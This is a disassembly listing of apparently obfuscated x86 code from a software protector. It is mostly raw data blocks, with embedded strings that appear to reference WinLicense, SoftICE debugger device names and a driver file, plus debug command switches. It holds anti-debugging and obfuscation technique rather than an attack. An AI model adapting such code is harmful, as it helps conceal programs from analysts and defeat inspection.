		dd 75BF5E7Eh, 8D1994E0h, 72FEBEF3h, 8C162871h, 98DA70A4h
		dd 0F8B0460Eh, 0CAD82456h, 1EDAE834h, 0F618C4C2h, 17DDAC84h
		dd 0E6C0DD0Ch, 6F8D47E6h, 5E06600Dh, 0CECEC3B9h, 466FFE0Bh
		dd 6876CE5Ch, 0FE0C7939h, 7B099B6Fh, 0B1F11BBFh, 0F448DE9Eh
		dd 0F95553EAh, 724E4E43h, 0DCC66FFEh, 0D4A14149h, 0FF3D0628h
		dd 63CF5D31h, 0ADAA2B7h, 0C004A54Fh, 27BE482Ah,	0DD343330h
		dd 0D192CE5Fh, 0EB4548A0h, 1AEF3741h, 83FE881Fh, 77579F50h
		dd 0FEB13C66h, 0B852E473h, 9F33732Eh, 0C7DD6815h, 8C9CB736h
		dd 5C94D09Ah, 6973C7ADh, 7DFC56Fh, 5ED7A14Bh, 0C61E58F2h
		dd 83F91CB8h, 38C921A3h, 0B4755BA5h, 0DF09B044h, 9AE2753Dh
		dd 859C384Ah, 50FC7107h, 942EB8BAh, 555A9D1Dh, 0C52D77EBh
		dd 70F52DA9h, 0EEE8A1E7h, 8822B05Ah, 960383FEh,	970DEB55h
		dd 228B3506h, 42AE0364h, 36D7F92Eh, 62858F2h, 841AA874h
		dd 0D3AD4FE9h
		dd 0C5C73h, 54E60000h, 0ED3C3BD2h, 0BB626929h, 0A14A4D7Fh
		dd 0A9430FD7h, 0B45B77CFh, 455C78C4h, 0BE537FC7h, 0C76A66BEh
		dd 356D69B5h, 0CD636FB7h, 0D36753B3h, 565E55A9h, 0C681E689h
		dd 4, 4EE81h, 34870000h, 1C895C24h, 548A6824h, 1C890000h
		dd 2B996824h, 34890000h, 0C74C6824h, 685B07EBh,	3930h
		dd 83242489h, 5E042404h, 8468F53h, 5724348Bh, 0C781E789h
		dd 4, 8704C783h, 8B5C243Ch, 8950241Ch, 405E0h, 4050000h
		dd 87000000h, 0E95C2404h, 0FFFDABC2h, 0BD9B4DDDh, 0C1833724h
		dd 0BE24BE0Dh
		db 0FDh, 0C2h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_587F3F


loc_5B0DCA:				; CODE XREF: sub_587F3F:loc_5B04BBj
		mov	eax, 7EBCF99h
		add	eax, ebp
		jmp	eax
; END OF FUNCTION CHUNK	FOR sub_587F3F
; ---------------------------------------------------------------------------
		db 0F8h
		dd 3D58A5D4h, 617ED51Ch, 0EA4F32B1h, 0AF64AC56h, 0EB141D18h
		dd 362B200Dh, 0A660652Ch, 70025CBDh, 65000A1Bh,	2940E4ECh
		dd 5553AC61h, 426FFA41h, 8C2A6D5Ah, 9A4AD633h, 8B1ED2C7h
		dd 0D91F704Ch, 0F5E4223h, 6F6D562Bh, 0EE260B69h, 2B6B63C8h
		dd 4844E368h, 0A369F092h, 0AD304AB2h, 0B67C62EFh, 770C1796h
		dd 0DA23CEECh, 9B001BE4h, 0E865201Ch, 11h, 0C6B49F57h
		dd 0F50AA1E2h, 88CEDF62h, 97041AE4h, 0B25BFCBCh, 0BEC3812Ch
		dd 80000064h, 0F63379C4h, 6810Fh, 0D8810000h, 571B17D6h
		dd 0E81E34FFh, 5, 0D0CFCE9Ch, 0D881664Bh, 5F5AF47Eh, 5E960h
		dd 0ABA0000h, 66F8E0B0h, 8161F08Bh, 140407F7h, 0F781FC05h
		dd 7461E00Eh, 0BE9h, 41B95000h,	2CBE45DAh, 729D8C1Bh, 19BAC781h
		dd 840F2CF2h, 11h, 6E8h, 82CC9900h, 66BE3F04h, 0D14CCA81h
		dd 0EE8575Ah, 34000000h, 0ACC55E69h, 0E7D30C1Bh, 0FDCA9BE4h
		dd 58E38A76h, 0F33048Fh, 0A88h,	0D4BF6000h, 0F2D7F94h
		dd 0F61C6BFh, 0EE83CABFh, 7E902h, 59C70000h, 8FA362D1h
		dd 0FC4E4EC6h, 9C48FE81h, 850FFFFFh, 0Eh, 0E9C9BF0Fh, 2Eh
		dd 46064661h, 0F603BADh, 681h, 860F00h,	80000000h, 0E961DCF5h
		dd 0FFFFFF34h, 0A2718F64h, 925E6C2Bh, 0B0665FE8h, 0E26A0BCCh
		dd 8EE9805Dh, 60000000h, 349DBD83h, 0F0007E9h, 584h, 79E900h
		dd 6A0000h, 0F303E80h, 885h, 46006A00h,	35E9h, 333E8000h
		dd 8850Fh, 106A0000h, 24E946h, 3E800000h, 8850F34h, 6A000000h
		dd 13E94630h, 80000000h, 850F353Eh, 8, 0E946406Ah, 2, 3E80006Ah
		dd 12850F20h, 80000000h, 0F00017Eh, 885h, 8C48300h, 16E9h
		dd 0F1858D00h, 5007E90Fh, 50240489h, 6A243489h,	0C595FF00h
		dd 6107E918h, 5985C6C3h, 4D07E926h, 3162FB68h, 2404816Bh
		dd 390413ADh, 16B5B5FFh, 858D07E9h, 7E93ABCh, 8589D0FFh
		dd 7E918C5h, 0AAE9h, 666F5300h,	72617774h, 69575C65h, 63694C6Eh
		dd 65736E65h, 65684300h, 4E496B63h, 72705800h, 7845746Fh
		dd 43007469h, 6B636568h, 54554Fh, 4C6E6957h, 6E656369h
		dd 65566573h, 6F697372h, 6957006Eh, 63694C6Eh, 65736E65h
		dd 76697244h, 65567265h, 6F697372h, 6957006Eh, 63694C6Eh
		dd 65736E65h, 74736E49h, 65636E61h, 69784500h, 6B4F74h
		dd 636F7250h, 50004E49h, 4F636F72h, 45005455h, 49746978h
		dd 7845004Eh, 554F7469h, 70540054h, 4E49h, 2 dup(0)
		dd 8000000h, 0BB77DEB9h, 0E977DFD5h, 596h, 0D2F18589h
		dd 858D07EBh, 7EBD2EDh,	57858D50h, 5007EBD2h, 168h, 0FD95FF80h
		dd 6A07EBD2h, 0F1B5FF19h, 6A07EBD2h, 8D006A01h,	0EBD28685h
		dd 0B5FF5007h, 7EBD2EDh, 2AE195FFh, 0B5FF07E9h,	7EBD2EDh
		dd 0D2F995FFh, 0B5FF07EBh, 7EBD2EDh, 2CBD95FFh,	89C307E9h
		dd 0EBD2F185h, 0ED858D07h, 5007EBD2h, 0D257858Dh, 685007EBh
		dd 80000001h, 0D2FD95FFh, 46A07EBh, 0D2F1858Dh,	6A5007EBh
		dd 8D006A04h, 0EBD2B085h, 0B5FF5007h, 7EBD2EDh,	2AE195FFh
		dd 0B5FF07E9h, 7EBD2EDh, 0D2F995FFh, 0B5FF07EBh, 7EBD2EDh
		dd 2CBD95FFh, 89C307E9h, 0EBD2F185h, 0ED858D07h, 5007EBD2h
		dd 0D257858Dh, 685007EBh, 80000001h, 0D2FD95FFh, 46A07EBh
		dd 0D2F1858Dh, 6A5007EBh, 8D006A04h, 0EBD29885h, 0B5FF5007h
		dd 7EBD2EDh, 2AE195FFh,	0B5FF07E9h, 7EBD2EDh, 0D2F995FFh
		dd 0B5FF07EBh, 7EBD2EDh, 2CBD95FFh, 89C307E9h, 0EBD2F185h
		dd 0ED858D07h, 5007EBD2h, 0D257858Dh, 685007EBh, 80000001h
		dd 0D2FD95FFh, 46A07EBh, 0D2F1858Dh, 6A5007EBh,	8D006A04h
		dd 0EBD2C385h, 0B5FF5007h, 7EBD2EDh, 2AE195FFh,	0B5FF07E9h
		dd 7EBD2EDh, 0D2F995FFh, 0B5FF07EBh, 7EBD2EDh, 2CBD95FFh
		dd 89C307E9h, 0EBD2F185h, 0ED858D07h, 5007EBD2h, 0D257858Dh
		dd 685007EBh, 80000001h, 0D2FD95FFh, 46A07EBh, 0D2F1858Dh
		dd 6A5007EBh, 8D006A04h, 0EBD27385h, 0B5FF5007h, 7EBD2EDh
		dd 2AE195FFh, 0B5FF07E9h, 7EBD2EDh, 0D2F995FFh,	0B5FF07EBh
		dd 7EBD2EDh, 2CBD95FFh,	83C307E9h, 0E91A75BDh, 840F0007h
		dd 0Bh,	1A759D8Bh, 0C38307E9h, 0C303894Ch, 1A75BD83h, 0F0007E9h
		dd 0B84h, 759D8B00h, 8307E91Ah,	38950C3h, 75BD83C3h, 7E91Ah
		dd 0B840Fh, 9D8B0000h, 7E91A75h, 8954C383h, 0BD83C303h
		dd 7E91A75h, 0B840F00h,	8B000000h, 0E91A759Dh, 58C38307h
		dd 83C30389h, 0E91A75BDh, 840F0007h, 0Bh, 1A759D8Bh, 0C38307E9h
		dd 0C303895Ch, 858960C3h, 7EBD2F1h, 0D2ED858Dh,	8D5007EBh
		dd 0EBD25785h, 1685007h, 0FF800000h, 0EBD2FD95h, 8D046A07h
		dd 0EBD2F185h, 46A5007h, 858D006Ah, 7EBD2E8h, 0EDB5FF50h
		dd 0FF07EBD2h, 0E92AE195h, 0A5BD8307h, 7E918h, 0C840Fh
		dd 0B5FF0000h, 7EBD2EDh, 0D2F995FFh, 0B5FF07EBh, 7EBD2EDh
		dd 2CBD95FFh, 0C36107E9h, 0F1858960h, 8D07EBD2h, 0EBD2ED85h
		dd 858D5007h, 7EBD257h,	16850h,	95FF8000h, 7EBD2FDh, 858D046Ah
		dd 7EBD2F1h, 6A046A50h,	0CA858D00h, 5007EBD2h, 0D2EDB5FFh
		dd 95FF07EBh, 7E92AE1h,	18A5BD83h, 0F0007E9h, 0C84h, 0EDB5FF00h
		dd 0FF07EBD2h, 0EBD2F995h, 0EDB5FF07h, 0FF07EBD2h, 0E92CBD95h
		dd 60C36107h, 0D2F18589h, 858D07EBh, 7EBD2EDh, 57858D50h
		dd 5007EBD2h, 168h, 0FD95FF80h,	6A07EBD2h, 0F1858D04h
		dd 5007EBD2h, 6A046Ah, 0D2D1858Dh, 0FF5007EBh, 0EBD2EDB5h
		dd 0E195FF07h, 8307E92Ah, 0E918A5BDh, 840F0007h, 0Ch, 0D2EDB5FFh
		dd 95FF07EBh, 7EBD2F9h,	0D2EDB5FFh, 95FF07EBh, 7E92CBDh
		dd 8960C361h, 0EBD2F185h, 0ED858D07h, 5007EBD2h, 0D257858Dh
		dd 685007EBh, 80000001h, 0D2FD95FFh, 46A07EBh, 0D2F1858Dh
		dd 6A5007EBh, 8D006A04h, 0EBD2D985h, 0B5FF5007h, 7EBD2EDh
		dd 2AE195FFh, 0BD8307E9h, 7E918A5h, 0C840F00h, 0FF000000h
		dd 0EBD2EDB5h, 0F995FF07h, 0FF07EBD2h, 0EBD2EDB5h, 0BD95FF07h
		dd 6107E92Ch, 858960C3h, 7EBD2F1h, 0D2ED858Dh, 8D5007EBh
		dd 0EBD25785h, 1685007h, 0FF800000h, 0EBD2FD95h, 8D046A07h
		dd 0EBD2F185h, 46A5007h, 858D006Ah, 7EBD2E0h, 0EDB5FF50h
		dd 0FF07EBD2h, 0E92AE195h, 0A5BD8307h, 7E918h, 0C840Fh
		dd 0B5FF0000h, 7EBD2EDh, 0D2F995FFh, 0B5FF07EBh, 7EBD2EDh
		dd 2CBD95FFh, 0C36107E9h, 0F185C760h, 107EBD2h,	8D000000h
		dd 0EBD2ED85h, 858D5007h, 7EBD257h, 26850h, 95FF8000h
		dd 7EBD2FDh, 840FC00Bh,	0Fh, 0D2F185C7h, 7EBh, 4DE90000h
		dd 6A000000h, 0F1858D04h, 5007EBD2h, 6A046Ah, 0D26B858Dh
		dd 0FF5007EBh, 0EBD2EDB5h, 0E195FF07h, 0B07E92Ah, 0F840FC0h
		dd 0C7000000h, 0EBD2F185h, 7, 0AE900h, 85C70000h, 7EBD2F1h
		dd 1, 0D2EDB5FFh, 95FF07EBh, 7E92CBDh, 0F1858B61h, 0C307EBD2h
		dd 0F1858960h, 8D07EBD2h, 0EBD2ED85h, 858D5007h, 7EBD257h
		dd 16850h, 95FF8000h, 7EBD2FDh,	858D046Ah, 7EBD2F1h, 6A046A50h
		dd 6B858D00h, 5007EBD2h, 0D2EDB5FFh, 95FF07EBh,	7E92AE1h
		dd 18A5BD83h, 0F0007E9h, 0C84h,	0EDB5FF00h, 0FF07EBD2h
		dd 0EBD2F995h, 0EDB5FF07h, 0FF07EBD2h, 0E92CBD95h, 60C36107h
		dd 0D2F18589h, 858D07EBh, 7EBD2EDh, 57858D50h, 5007EBD2h
		dd 168h, 0FD95FF80h, 6A07EBD2h,	0F1858D04h, 5007EBD2h
		dd 6A046Ah, 0D27D858Dh,	0FF5007EBh, 0EBD2EDB5h,	0E195FF07h
		dd 8307E92Ah, 0E918A5BDh, 840F0007h, 0Ch, 0D2EDB5FFh, 95FF07EBh
		dd 7EBD2F9h, 0D2EDB5FFh, 95FF07EBh, 7E92CBDh, 85C6C361h
		dd 7E92659h, 7B076852h,	0B5FFADE4h, 7E9347Dh, 0A8D95FFh
		dd 858907E9h, 7EBD2FDh,	265985C6h, 685207E9h, 902E00E5h
		dd 347DB5FFh, 95FF07E9h, 7E90A8Dh, 0D2F98589h, 85C607EBh
		dd 7E92659h, 12356852h,	0B5FFB9BFh, 7E9347Dh, 0A8D95FFh
		dd 858907E9h, 7E92AE1h,	265985C6h, 685207E9h, 98781034h
		dd 347DB5FFh, 95FF07E9h, 7E90A8Dh, 2CBD8589h, 85C607E9h
		dd 7E92659h, 0DBD46852h, 0B5FFC005h, 7E9347Dh, 0A8D95FFh
		dd 858907E9h, 7E91D8Dh,	5C5C1EEBh, 49535C2Eh, 5C004543h
		dd 535C2E5Ch, 49565749h, 5C5C0044h, 544E5C2Eh, 454349h
		dd 7E9C08Bh, 6C000000h,	0EF33EEA7h, 0BD839E33h,	7E918A5h
		dd 83097500h, 0E91A45BDh, 19740007h, 0C08B5350h, 40FB8h
		dd 0F9858900h, 8D07E911h, 0EBD7CE9Dh, 5BD3FF07h, 45BD8358h
		dd 7E91Ah, 53501774h, 40FB8h, 0F9858900h, 8D07E911h, 0EBD4BD9Dh
		dd 5BD3FF07h, 0D18B6658h, 8BD38B66h, 12E9C0h, 0F5870000h
		dd 5529ADDh, 67A8921Eh,	9B6072F2h, 0D812B786h, 265985C6h
		dd 0F94307E9h, 4E8h, 8E6EFC00h,	8E950BCh, 0CC000000h, 7AC67C8Ch
		dd 8B442799h, 50042444h, 50525052h, 5A310F52h, 60310F58h
		dd 0F585A61h, 5AD78B31h, 66008B58h, 89BE4BB9h, 57042444h
		dd 5ACA8B66h, 2DB58B58h, 0FF07E90Ch, 0E92669B5h, 0BC858D07h
		dd 0F07E93Ah, 388h, 0D08B6600h,	90F8D0FFh, 7E8h, 736A00h
		dd 0D5A45A3Fh, 0BE850h,	0F40A0000h, 0F133383Ah,	0B7583948h
		dd 5A5F59A4h, 481CBA50h, 33905A13h, 0E90E3D95h,	6A006A07h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 19042444h
		dd 42000000h, 0FDD0C352h, 80F25D34h, 23B19589h,	6E6807E9h
		dd 66EF56FDh, 81DFC5BFh, 3122404h, 0BA6610A9h, 95011C78h
		dd 7E91EA9h, 6A036Ah, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 150424h, 50400000h, 893587C3h, 0E902998Dh, 66006A07h
		dd 36AF98Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 19h,	0D7C35343h, 1AA84F34h, 0D3B70F80h, 3155B531h
		dd 0C6807E9h, 50481850h, 10E852h, 0B2AF0000h, 6FB05F22h
		dd 18D32FF9h, 95BE8C26h, 6160F759h, 56310F5Ah, 310F5250h
		dd 5A59585Ah, 24048158h, 77E7AFF4h, 1EC5BD8Bh, 9D8D07E9h
		dd 7EBD934h, 5050CF8Bh,	895AD18Ah, 6A241Ch, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 7B20A3C3h
		dd 0FABD69F5h, 8B08809Dh, 0E91FE5BDh, 66D0FF07h, 0F57BC781h
		dd 5F850F40h, 58000002h, 0E960B160h, 0Ah, 9A5C2534h, 60BDBF3Bh
		dd 0F5615A7Ch, 24048950h, 0F518D8Bh, 6A07E9h, 12880Fh
		dd 0DE90000h, 0CB000000h, 0C36CFE6Ch, 5CE2237Dh, 35BC0909h
		dd 18E18D8Bh, 0F76807E9h, 66EFA8DAh, 481F88Bh, 57258924h
		dd 20F28010h, 0B533036Ah, 7E91D0Dh, 0BF0F006Ah,	0B5036AD0h
		dd 0B8D16834h, 0CE8B90Ah, 29000000h, 8BD9BFB7h,	0FC2CD996h
		dd 664BFD51h, 5F7426BFh, 2F240481h, 0F06F547h, 9D8DF7BFh
		dd 7EBD93Dh, 12E9h, 0C897A000h,	2F76EA3Eh, 5BEAD596h, 8B9E9E3Bh
		dd 5013D4BDh, 1C89E88Ah, 81665024h, 5F4442CEh, 6160D0FFh
		dd 0A3850F40h, 81000001h, 4BB4A4F2h, 0CF815803h, 6D1289E6h
		dd 89B8B550h, 81662404h, 6AE32AE1h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 0FB96EDDBh
		dd 82CDE301h, 800Fh, 4E80000h, 80000000h, 60000000h, 66FB8B66h
		dd 5061C18Bh, 11E8h, 1F0E9200h,	47497B54h, 4CBF8408h, 46B000DEh
		dd 0BF66AB27h, 8B5A123Ch, 0F042444h, 386h, 0D18B6600h
		dd 800F008Bh, 0Eh, 6E8h, 0D1056700h, 8B21A476h,	448959F2h
		dd 52500424h, 0D68B5250h, 585A310Fh, 0BA60310Fh, 120AFFE1h
		dd 840Fh, 5A610000h, 0CB8B5858h, 6AF9036Ah, 59952900h
		dd 6A07E924h, 6E903h, 103D0000h, 86B72A3Fh, 4E8h, 0
		dd 0FA8B60C0h, 9F56B866h, 5E535061h, 424448Bh, 12E8h, 0A607B00h
		dd 37651E4Eh, 0FB46AC5Ah, 0F072E251h, 8BEB4883h, 8B5ECAh
		dd 0DE9h, 7AC84300h, 0A594280Bh, 0AB9FB2Eh, 448936FDh
		dd 0CA8B0424h, 6870F58h, 9000000h, 0E92C7185h, 489D8D07h
		dd 8B07EBD9h, 0E9251D95h, 11E95007h, 0E9000000h, 497C45D0h
		dd 39B4F842h, 0E26C2FACh, 0AD52B2FFh, 8B241C89h, 35B589CEh
		dd 0FF07E909h, 0D9B589D0h, 4007E90Eh, 40850Fh, 0D9810000h
		dd 4173579Eh, 58FE8B66h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Dh, 0FC35141h, 0E4DF58D1h, 0E1163113h, 598D8BDFh
		dd 0E907E90Ch, 0E8h, 21658D23h,	0D88B07E9h, 2B018D01h
		dd 664B07E9h, 58E996B9h, 13E9h,	0BC311900h, 0CEB7629Dh
		dd 4A4DB230h, 7DD362A1h, 9B3FAB3h, 265985C6h, 8A4307E9h
		dd 65168F3h, 8E0FC60Bh,	4, 7E69B966h, 0F6243481h, 89067D4Ch
		dd 0E92A298Dh, 8E807h, 17BB0000h, 9C2574ECh, 81663D3Dh
		dd 5E5D5FCEh, 2669B5FFh, 860F07E9h, 2, 0BE50D38Bh, 550B4011h
		dd 0BC858D5Ah, 6A07E93Ah, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 15042444h, 42000000h, 0F7BBC352h,	8B66D0FFh
		dd 0B15050F1h, 1C89590Eh, 6810F24h, 81000000h, 0D4D2ABC2h
		dd 80D0FF1Bh, 958B45C1h, 7E9304Dh, 6E159D8Dh, 0BF0F07E9h
		dd 1B8F7h, 0B58B0000h, 7E91C45h, 0E850E3FFh, 0Ah, 0E81835FAh
		dd 0EE720825h, 5A594610h, 9509C18Bh, 7E91951h, 958BC08Bh
		dd 7E90C2Dh, 18A5BD83h,	750007E9h, 45BD8309h, 7E91Ah, 53501974h
		dd 0FB8C08Bh, 89000004h, 0E920F585h, 359D8D07h,	0FF07EBD8h
		dd 83585BD3h, 0E91A45BDh, 17740007h, 0FB85350h,	89000004h
		dd 0E920F585h, 0D69D8D07h, 0FF07EBD4h, 6A585BD3h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 5A67C356h, 0B90B0D3Ch, 342B2FC8h, 0E8C08BF5h, 0Fh, 23C7ECF8h
		dd 65C78E2Ch, 0C42E6456h, 8925B92Ch, 0E907B195h, 7E95907h
		dd 0E0000000h, 0A4A6A2FAh, 0C18107D1h, 6E22h, 1B5ABBh
		dd 69B58900h, 0FF07E913h, 1DBD8931h, 5A07E92Ah,	7699BE66h
		dd 4EDAF281h, 0BD0109CFh, 7E911BDh, 1A9DC281h, 0B8664BCEh
		dd 0F2812FB0h, 0F3E50A0h, 52C6BF0Fh, 8850Fh, 810F0000h
		dd 2, 18F6160h,	0FDB58B57h, 5807E91Eh, 0E802E983h, 0Fh
		dd 0C4C7F7F2h, 971EF0B7h, 33DE1126h, 0E8B8A9DFh, 0Fh, 800C9A2Fh
		dd 0C97D21E1h, 460C40D2h, 8BB604DBh, 0E92E69BDh, 495F5E07h
		dd 83F08B49h, 850F01EBh, 0FFFFFF7Bh, 3591B58Bh,	0AE807E9h
		dd 99000000h, 0E96CACE8h, 0F60E0B10h, 0ED8D8939h, 5807E90Dh
		dd 18AD958Bh, 0C08107E9h, 6ED4h, 22E98D0Bh, 0FF3307E9h
		dd 472191BAh, 381C8B46h, 8E9h, 0C37BA600h, 764888C2h, 17C381FDh
		dd 0E96E691Bh, 0Fh, 1FCE6CBBh, 53198014h, 268A80Dh, 81EAF4BAh
		dd 0B0ACB2EBh, 0D5B58B03h, 8107E930h, 9D353AC3h, 3D9D0905h
		dd 5307E92Bh, 398D8B60h, 0F07E909h, 8F61C2B7h, 0EEB63804h
		dd 330BEF81h, 0DFB57DA7h, 3307C781h, 0FF817DA7h, 0FFFF91C8h
		dd 0FF93850Fh, 840FFFFFh, 3, 0E9F28B66h, 20Eh, 6E614333h
		dd 20746F6Eh, 74697277h, 726F2065h, 736E6165h, 6478762Eh
		dd 614D0D0Ah, 7320656Bh, 20657275h, 74616874h, 69687420h
		dd 69662073h, 6920656Ch, 6F6E2073h, 65622074h, 20676E69h
		dd 64657375h, 20796220h, 746F6E61h, 20726568h, 676F7270h
		dd 2E6D6172h, 68h dup(0)
		dd 65724F5Ch, 2E736E61h, 647876h, 2 dup(0)
		dd 0EFE90000h, 0C6000000h, 0E9265985h, 86684707h, 0FFE3E45Bh
		dd 0E92669B5h, 0BC858D07h, 0FF07E93Ah, 10468D0h, 9D8D0000h
		dd 7E913D1h, 50D0FF53h,	0E2A2B58Dh, 0FE8B07EBh,	0FAEC032h
		dd 0FFFFF985h, 8BFE2BFFh, 0FB8B58CFh, 0A4F3F803h, 265985C6h
		dd 684307E9h, 0BC8E6EFCh, 2669B5FFh, 858D07E9h,	7E93ABCh
		dd 0B58DD0FFh, 7E913D1h, 8068006Ah, 6A000000h, 6A006A02h
		dd 6800h, 0FF56C000h, 0C6D88BD0h, 0E9265985h, 56685707h
		dd 0FFA69BEEh, 0E92669B5h, 0BC858D07h, 0FF07E93Ah, 99BD8DD0h
		dd 8D07E90Ah, 0EBE3C88Dh, 57006A07h, 37D068h, 0FF535100h
		dd 0FC085D0h, 1B85h, 0AAB58D00h, 8D07EBE0h, 0EBD19D85h
		dd 8DD0FF07h, 0E96E158Dh, 0B807h, 0E1FF0000h, 265985C6h
		dd 684307E9h, 0C0764AA7h, 2669B5FFh, 858D07E9h,	7E93ABCh
		dd 0FF53D0FFh, 0D0B9C3D0h, 0E8000037h, 0
; ---------------------------------------------------------------------------
		pop	eax
		add	eax, 0Eh
		mov	[eax], ecx
		jmp	loc_5B217D
; ---------------------------------------------------------------------------
		mov	eax, ebx


loc_5B217D:				; CODE XREF: sdfs____:005B2176j
		jmp	loc_5B5952
; ---------------------------------------------------------------------------
		dw 5A4Dh
		db 90h
		align 2
		dw 3
		dd 40000h, 0FFFF0000h, 0B80000h, 0
		dd 400000h, 8 dup(0)
		dd 0B00000h, 1F0E0000h,	0B4000EBAh, 0B821CD09h,	21CD4C01h
		dd 73696854h, 6F727020h, 6D617267h, 6E616320h, 20746F6Eh
		dd 72206562h, 69206E75h, 4F44206Eh, 6F6D2053h, 0D2E6564h
		dd 240A0Dh, 0
		dd 175D0000h, 7619DB1Dh, 2 dup(76198873h), 56E58873h, 76188861h
		dd 76198873h, 76188873h, 69528873h, 76196863h, 8873h, 0
		dd 454C0000h, 0
		dd 20000h, 4, 80000000h, 140003h, 4 dup(0)
		dd 2000000h, 1C00000h, 900000h,	0
		dd 7E0000h, 0
		dd 0C40000h, 10000h, 0DC0000h, 3 dup(0)
		dd 12C0000h, 1380000h, 2 dup(0)
		dd 1420000h, 1960000h, 1D20000h, 0
		dd 1D20000h, 0
		dd 10000000h, 140000h, 37C00000h, 100000h, 0Dh dup(0)
		dd 27C00400h, 0
		dd 20450000h, 10000h, 140000h, 434C0000h, 444Fh, 1, 2
		dd 3, 4, 5, 6, 7, 8, 9,	0Ah, 0Bh, 0Ch, 0Dh, 0Eh, 0Fh, 10h
		dd 11h,	12h, 13h, 58080014h, 544F5250h,	445856h, 3010000h
		dd 30001h, 2 dup(0)
		dd 13h dup(7), 3Ch, 180007h, 7276001h, 101AD00h, 70050h
		dd 9B010191h, 6002727h,	79276F01h, 81017D01h, 89018501h
		dd 7018D01h, 1017500h, 72795h, 98010171h, 6B000727h, 27710101h
		dd 360h	dup(0)
		dd 4000000h, 10000h, 50580000h,	56544F52h, 4458h, 8000h
		dd 8 dup(0)
		dd 65760000h, 505072h, 76310000h, 76325273h, 76335273h
		dd 5273h, 9C3h dup(0)
		dd 0E8830000h, 9F8831Bh, 24FF0773h, 85h, 0C3F800h, 8 dup(0)
		dd 33000000h, 0C033C3C0h, 0C7E83C3h, 33047500h,	831AEBC0h
		dd 75010C7Eh, 58D14h, 8B000000h, 789187Eh, 42046C7h, 33000000h
		dd 580CC3C0h, 544F5250h, 5F445856h, 424444h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5B5952:				; CODE XREF: sdfs____:loc_5B217Dj
		jmp	loc_5B59F0
; ---------------------------------------------------------------------------
		db 2Fh
aBugcheck2	db 'bugcheck2',0
aBugcheck	db '/bugcheck',0
aForcerun	db '/forcerun',0
aBugcheckfull	db '/bugcheckfull',0
aShowcode	db '/showcode',0
aShowcode2	db '/showcode2',0
aClrt		db '/clrt',0
aDis1		db '/dis1',0
aShowinstance	db '/showinstance',0
aGetwlstatus	db '/getwlstatus',0
aLogstatus	db '/logstatus',0
aDumpstatus	db '/dumpstatus',0
		align 4
		dd 2F000000h, 63656863h, 6F72706Bh, 74636574h, 6E6F69h
		dd 0
; ---------------------------------------------------------------------------


loc_5B59F0:				; CODE XREF: sdfs____:loc_5B5952j
		cmp	dword ptr [ebp+7EC1C1Dh], 0
		jz	loc_5B5A07
		mov	dword ptr [ebp+7E91A45h], 1


loc_5B5A07:				; CODE XREF: sdfs____:005B59F7j
		mov	byte ptr [ebp+7E92659h], 47h
		push	9A7D49E5h
		xor	dword ptr [esp], 0A102568h
		push	dword ptr [ebp+7E92669h]
		lea	eax, [ebp+7E93ABCh]
		call	eax
		call	eax
		mov	edi, eax
		cmp	byte ptr [edi],	22h
		jnz	loc_5B5A57
		inc	edi
		mov	al, 22h


loc_5B5A38:				; CODE XREF: sdfs____:005B5A39j
		scasb
		jnz	loc_5B5A38
		cmp	byte ptr [edi],	0
		jz	loc_5B5D63
		inc	edi
		cmp	byte ptr [edi],	0
		jz	loc_5B5D63
		jmp	loc_5B5A75
; ---------------------------------------------------------------------------


loc_5B5A57:				; CODE XREF: sdfs____:005B5A2Fj
					; sdfs____:005B5A70j
		cmp	byte ptr [edi],	0
		jz	loc_5B5D63
		cmp	byte ptr [edi],	20h
		jnz	loc_5B5A6F
		inc	edi
		jmp	loc_5B5A75
; ---------------------------------------------------------------------------


loc_5B5A6F:				; CODE XREF: sdfs____:005B5A63j
		inc	edi
		jmp	loc_5B5A57
; ---------------------------------------------------------------------------


loc_5B5A75:				; CODE XREF: sdfs____:005B5A52j
					; sdfs____:005B5A6Aj ...
		cmp	byte ptr [edi],	0
		jnz	loc_5B5A83
		jmp	loc_5B5D63
; ---------------------------------------------------------------------------


loc_5B5A83:				; CODE XREF: sdfs____:005B5A78j
		jmp	loc_5B5A89
; ---------------------------------------------------------------------------


loc_5B5A88:				; CODE XREF: sdfs____:005B5A8Cj
		inc	edi


loc_5B5A89:				; CODE XREF: sdfs____:loc_5B5A83j
		cmp	byte ptr [edi],	20h
		jz	loc_5B5A88
		cmp	byte ptr [edi],	0
		jnz	loc_5B5AA0
		jmp	loc_5B5D63
; ---------------------------------------------------------------------------


loc_5B5AA0:				; CODE XREF: sdfs____:005B5A95j
		call	sub_5B5AAF
		jmp	loc_5B5A75
; ---------------------------------------------------------------------------
		jmp	loc_5B5D63

; =============== S U B	R O U T	I N E =======================================



sub_5B5AAF	proc near		; CODE XREF: sdfs____:loc_5B5AA0p
		lea	esi, [ebp+7EC1B9Dh]
		call	sub_5B5CDF
		add	edi, [ebp+7EC1C32h]
		cmp	dword ptr [ebp+7EC1C32h], 0
		jz	loc_5B5AD8
		mov	dword ptr [ebp+7E918A5h], 1
		retn
; ---------------------------------------------------------------------------


loc_5B5AD8:				; CODE XREF: sub_5B5AAF+18j
		lea	esi, [ebp+7EC1BA8h]
		call	sub_5B5CDF
		add	edi, [ebp+7EC1C32h]
		cmp	dword ptr [ebp+7EC1C32h], 0
		jz	loc_5B5B01
		mov	dword ptr [ebp+7E91A45h], 1
		retn
; ---------------------------------------------------------------------------


loc_5B5B01:				; CODE XREF: sub_5B5AAF+41j
		lea	esi, [ebp+7EC1C21h]
		call	sub_5B5CDF
		add	edi, [ebp+7EC1C32h]
		cmp	dword ptr [ebp+7EC1C32h], 0
		jz	loc_5B5B2A
		mov	dword ptr [ebp+7E9349Dh], 1
		retn
; ---------------------------------------------------------------------------


loc_5B5B2A:				; CODE XREF: sub_5B5AAF+6Aj
		lea	esi, [ebp+7EC1BB2h]
		call	sub_5B5CDF
		add	edi, [ebp+7EC1C32h]
		cmp	dword ptr [ebp+7EC1C32h], 0
